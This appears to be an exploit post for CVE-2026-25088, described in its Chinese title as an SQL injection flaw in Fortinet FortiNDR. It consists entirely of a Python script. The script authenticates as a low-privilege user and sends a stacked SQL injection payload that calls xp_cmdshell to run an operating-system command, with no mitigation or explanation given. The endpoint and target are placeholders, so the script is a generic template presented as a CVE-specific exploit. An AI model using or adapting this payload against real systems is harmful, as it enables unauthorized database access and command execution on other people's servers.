CVE-2026-25088 Fortinet FortiNDR SQL注入漏洞

import requests # Target configuration target_host = "https://<target-ip>" vulnerable_endpoint = "/api/some_endpoint" url = target_host + vulnerable_endpoint # Attacker credentials (Low privilege required) credentials = { "username": "attacker", "password": "password123" } # Create a session to handle authentication session = requests.Session() session.post(target_host + "/login", data=credentials) # Malicious payload to exploit SQL Injection # Example: Attempting to execute a command via stacking payload = "1' OR 1=1; EXEC xp_cmdshell('dir')--" # Inject payload into request parameters params = { "id": payload } try: # Send the crafted HTTP request response = session.get(url, params=params, verify=False, timeout=10) # Analyze response if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response body:", response.text) else: print("[-] Exploit failed or endpoint returned error.") except Exception as e: print(f"[-] An error occurred: {e}")